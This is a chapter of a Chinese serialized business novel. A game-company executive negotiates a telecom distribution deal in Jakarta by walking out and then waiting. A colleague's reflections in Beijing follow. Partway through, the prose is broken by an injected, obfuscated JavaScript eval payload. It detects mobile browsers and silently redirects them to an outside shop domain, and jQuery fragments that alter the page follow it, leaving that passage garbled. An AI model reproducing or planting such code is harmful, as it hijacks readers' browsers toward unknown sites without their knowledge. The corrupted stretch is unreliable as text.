乌节路的圣诞灯又亮了。这个城市过节的方式,就是把灯挂得一年比一年早——今年十月就亮了。Kasa的B轮交割,是三个月前的事。
青藤已经不是几年前那个要她蹲在网吧里记Loading秒数的公司了。东南亚月流水六百万美元,净利率三十五个点;第二款游戏的DEMO过了内部评审,赛季制,首发就带网吧渠道包;公司不缺钱——董事会的原话是,要再开,就是IPO前那一轮。
去雅加达之前,李卓远订了比她早一班的机票。
"我先去。"他说,"产品和数据我来讲,条款你替我盯着。"
"我什么时候说我要去了?"
"你不来,他们会跟我谈感情。"李卓远说,"你来了,他们只能谈数字。"
对方是印尼最大的电信运营商——旗下做游戏分发和联运的公司。两个月前,行业里那两篇写"用网吧打仗的游戏公司"的稿子出来之后,他们托了三层关系,约到了这场会。这一条,祝青云在出发之前跟李卓远说过:谁先约,谁就先露了底牌。
出发前一晚,谢子维带她去食阁吃晚饭。吃到一半,他从口袋里掏出一块旧表,表壳上有一道很细的划痕。
"我祖父的。"他说,"前两天拿去修,修表师傅把表盖打开,里面刻了一个字。"
"什么字?"
"慢。"
他把表翻过来,表盖内侧的刻痕已经磨得很淡了,但那个字还能辨认——不是印刷体,是一笔一笔刻上去的,笔画很慢。
"他一辈子没让这块表快过一分钟。"谢子维说。
她看着那块表。
"带着吧,"他把表放在她手边,"雅加达用得上。"
她把表收进包里,他没有再说别的。祝青云知道他什么意思——有些仗快的赢,有些仗慢的赢,这次去打的,是一场需要慢的仗。
谈判在雅加达中区,他们的总部大楼,四十二层的会议室,窗外是整个城市灰蓝色的天际线。对方来了五个人:平台公司的总经理、渠道总监、商务、两位法务。
李卓远主讲,他讲了四十分钟,比她在任何一次董事会上见过的都稳。
他先讲了区域结构:印尼是量——东南亚最大的下载市场,青藤在印尼的月活一百多万,网吧渠道把获客成本压到了半美元以下;泰国和新马是价——ARPPU四十二美元,全区域最高,曼谷的大学生用TikTok免费做了上百条视频。他讲了付费人群:印尼成年人里有银行账户的刚过一半,有信用卡的不到五个点,但青藤的月活用户里,有预付话费账户的,是百分之九十七——一个想用月卡、却没有地方付钱的人群,付费转化潜力是现有人群的三倍。
总经理听得很耐心,听完,把面前的一份方案推过来。
"我们很有诚意。"他说,"两个条款。"
第一条:打包独家。青藤在印尼的运营商计费通道、预装、短信触达,由他们独家打包,期限三年。作为对价,他们给出一年3000万台的预装量,和计费接口的最低费率。3000万台是什么概念?按行业均值激活,等于青藤再买一年的量,价钱只有线上买量的三分之一。
第二条:分成。打包期内,印尼区流水的25%,外加青藤全球流水的8%,作为战略合作费。
全球8%是什么概念:青藤全球月流水当时七百万美元上下,这一条折成的费用,一年超过六百万美元——够网吧渠道按现在的成本,再铺一个国家。
李卓远看向祝青云。
"计费通道独家不行。"祝青云说,"青藤在印尼的支付是四根柱子,不是一根。线上、话费、钱包、网吧——把另外三根拆了绑你们这一根,这个结构不成立。印尼的无卡人群不会只用一家运营商,也不会只有一个钱包。"
"全球8%也不行。"她翻了一页,"你们的网络在印尼,手伸不到雅加达以外。"
总经理笑了一下,那种见惯谈判的笑。"预装3000万台,祝总。在印尼,这不是一个渠道,这是半个国家。"
"那25%和8%,"祝青云说,"买的就不是半个国家了,是把我们公司买走一块。"
渠道总监在总经理身后微微往前倾了一下身子,像要说什么,又靠了回去。那个动作很轻,快到几乎没有人注意。祝青云没有立刻回那两条,问了另一个问题:"如果计费通道不谈打包呢?通道开放,预装和短信你们自己卖,按次结算。"
总经理摇头:"我们不做零售,祝总。平台的价值在打包。"
底线试出来了。渠道总监出来打圆场,说条款都可以谈,打包是大方向,分成比例是技术问题。总经理不接话,靠回椅背里。"祝总。"他说,"运营商计费在印尼意味着什么,你应该清楚。银行卡渗透率摆在那里,没有我们,你们那97%的付费潜力,就永远是潜力。"
会议室里安静了一瞬。窗外,雅加达的天际线灰蓝一片,远处有脚手架,不知道在盖什么,这个城市每天都在盖新的东西。祝青云看了一眼窗外,然后转回来。
李卓远开口了,这是他落座之后第一次直接回对方:"潜力变不变现,是我们的事。青藤两年做到六百万,靠的不是谁的接口。"
他停了一下。"祝总谈条款,我只管把这个数字继续做下去。"然后他看向祝青云,把话头交了出去。
会议室里没有人说话。
祝青云把方案翻到第二页,全球8%那一条。她又看了一遍那个数字,在心里把它折成了一笔账:这一条签下去,青藤每年的净利润,五分之一要白送给一家连服务器都不出的公司。她把方案合上,推回桌子中间。
"那你们找吧。"她说。
她站起来,拿起电脑包。李卓远愣了半秒,跟着站起来。
没有人叫住他们。
电梯下到一楼,李卓远才开口:"我们现在去哪?"
"机场。"
当天晚上的航班,他们飞回了新加坡。
第一天,没有消息。李卓远打来视频,问要不要他打个电话过去。"我可以说,打包的事,再聊聊。"
"不用。"她说,"等。"
那晚她在酒店整理第二天的材料,摸到包里的那块表。表是凉的,走得很慢,很准。她把它放在床头——掀桌子是快的,等电话是慢的。快的她做了,剩下的交给慢的。
第一天晚上,渠道总监给总经理写了一份备忘:3000万台预装换打包独家,划算;换非独家加对赌,也划算;换"什么都没有",不划算。他建议让一步,总经理没有回。
第二天,没有消息。青藤印尼的网吧地推照常在工作群里发数据,新开通的网吧十七家。Kasa的商户数过了十一万。
李卓远又打来一次视频。这一次他没说要打电话,只是在镜头那边走来走去,走了两分钟,说:"青云姐,我信你。"然后挂了。
她看着黑下去的屏幕,想起很多年前他在宣讲会走廊里抱着BP等她的样子。那时候他等的是她,现在他信的也是她。
第二天晚上,谢子维带她去吃饭,还是那家老档口。他问了一句"顺利吗",她说"在等"。他就没再问。那顿饭聊的是别的事——他说最近在面一个新的分析师,年轻人,简历漂亮,前三轮都答得不错。最后一轮他问对方:你怎么看加班。年轻人说,能接受,项目紧的时候通宵也可以。他说他没要那个人。
"为什么?"她问。
"因为他没有反问。"谢子维说,"我问加班,他应该问我——你们投的项目,有几个是靠加班投出来的。"
她笑了一下。他说,干这一行,不缺肯通宵的人,缺的是知道什么时候不值。
她后来想,谢子维其实什么都知道,但他没有问——他把她最需要安静的那三天,原样留给了她。
第三天下午四点,电话来了。渠道总监打来的,语气比三天前软了一度:打包独家可以不谈,非独家合作;分成改成对赌——基础20%,印尼区月流水过四百万美元,上浮到22%;过八百万,25%,封顶。
"20%是你们的要价。"祝青云说,"网吧渠道的成本是个位数,你们的计费接口已经收了费率,分润从18%起。"
"22%起。20%在我们的底线以下了。"
"18%起,过四百万到20%,过八百万到22%。"
电话那头算了一会儿。"20%起,过四百万到22%,过八百万到25%。这是我们能让的最后的数。"
"封顶写死。"祝青云说,"另外加一条:存量流水和网吧自然量不进对赌基数,只算你们渠道归因进来的部分。"<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740875|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
"归因按什么算?"
"按merchant ID和渠道包。"她说,"我们两年前就是这么算的。"
渠道总监在那头笑了一声:"祝总,你把我们的路都堵死了。"
"不是堵死。"她说,"是让两边的账,从一开始就是同一本。还有一笔账,也说在明处:你们的费率加上分润,综合成本接近三十个点。但归因进来的,都是从前没有地方付钱的人——给他们让到三成,也比让他们付不了强。"
渠道总监沉默了两秒,说:"这句话,我记下来了。"
挂了电话,她打给李卓远。他问她:"如果他们没有叫住我们呢?"
"那就找下一家。"她说,"我手里有青藤的数据,还有Kasa的十一万商户。我有两张牌,他们只有一张。"
"他们的那张牌是3000万台预装。"李卓远说。
"预装是礼物,"祝青云说,"礼物送完就没了,数据和商户是自己的。"
晚上,她约了谢子维在老档口吃饭。等菜的间隙,她低头看了一眼手机——渠道总监把确认邮件发过来了,条款按电话里谈的,一个字没改。
她看完,把手机屏幕转向他。
"成了?"
她点头。
"那加菜。"他说。
她坐下来,从包里摸出那块旧表,放在桌上,推过去。
谢子维看了一眼,没有拿起来,只用拇指把表拨过来,转到自己这一边。表盖内侧那个"慢"字露出来,磨得很淡,一笔一划,还是清楚。
"我祖父说过,"他说,"走得慢的表,走得久。走得急的,容易停。"
他把表翻回去,推到她手边。"留着。以后去谈判,都带着。"
运营商渠道十二月上线。预装、短信触达、话费直充月卡——月卡被拆成话费面额的档位,五千盾、一万盾、两万盾,一条短信,回复"YA"就扣费。他们自己写的短信文案,写得像诈骗短信,转化率反而比精心设计的高出三成。
上线第一个完整月,青藤印尼区月流水,环比涨了180%。
网吧没有掉量。运营商的广告把人引到线上,其中一批顺着广告又摸回了网吧——老城区的老板说,上个月来充月卡的人里,有了新面孔。
渠道一热,卖铲子的人就多了起来。同一个星期,Vivian把一份BP放在祝青云桌上。
"我自己找的。"她说。
做的是印尼的网吧管理系统——排班、计费、会员、营收分析,卖给东南亚的独立网吧。创始人自己开了四年网吧,开到第三年才想明白,他真正想做的不是网吧,是给所有像他这样的人做一个系统。
祝青云翻了一遍,翻得很慢。翻到最后一页,她问:"这个市场你怎么算的?"
"印尼两万七千家网吧,菲律宾一万四,越南三万二。"Vivian说,"按年订阅,客单价是青藤月卡的一半。我看不懂游戏,但我看得懂这个——我看了两年网吧。"
"什么时候上IC?"
"下周。"
"你讲。"
"好。"
"怕吗?"
"怕。"
"都对。"祝青云说。
同一个月,北京。
方严在TCP的投后系统里看到青藤印尼区的数据。月流水环比,涨了180%。曲线在十一月的位置上拐了一个很直的弯,像有人把一根线往上拎了一下。
他关掉系统。那天下午合伙人周会的议题单上,有一个做内容分发的AI推荐引擎项目,刚立项,他把那一页翻过去,又翻回来,看了两遍。他知道自己在走神。
那天晚上,他点开过她的对话框。
最后一条消息停在很久以前——是他发的,"忙吗",没有回复。
他打了两个字:"恭喜。"
光标闪了一会儿。他想起那一次在她办公室楼下,他说完"我想让你知道"转身就走,走到转角停了一秒。那天之后他给自己定过规矩:那样的破例,要有额度。
他把那两个字删了,关掉手机。
没有发出去的消息,不算破例。
他只是记得——很多年前,有人在他家的厨房里倒着水,说过一句关于渠道的话。那句话,他记到了现在。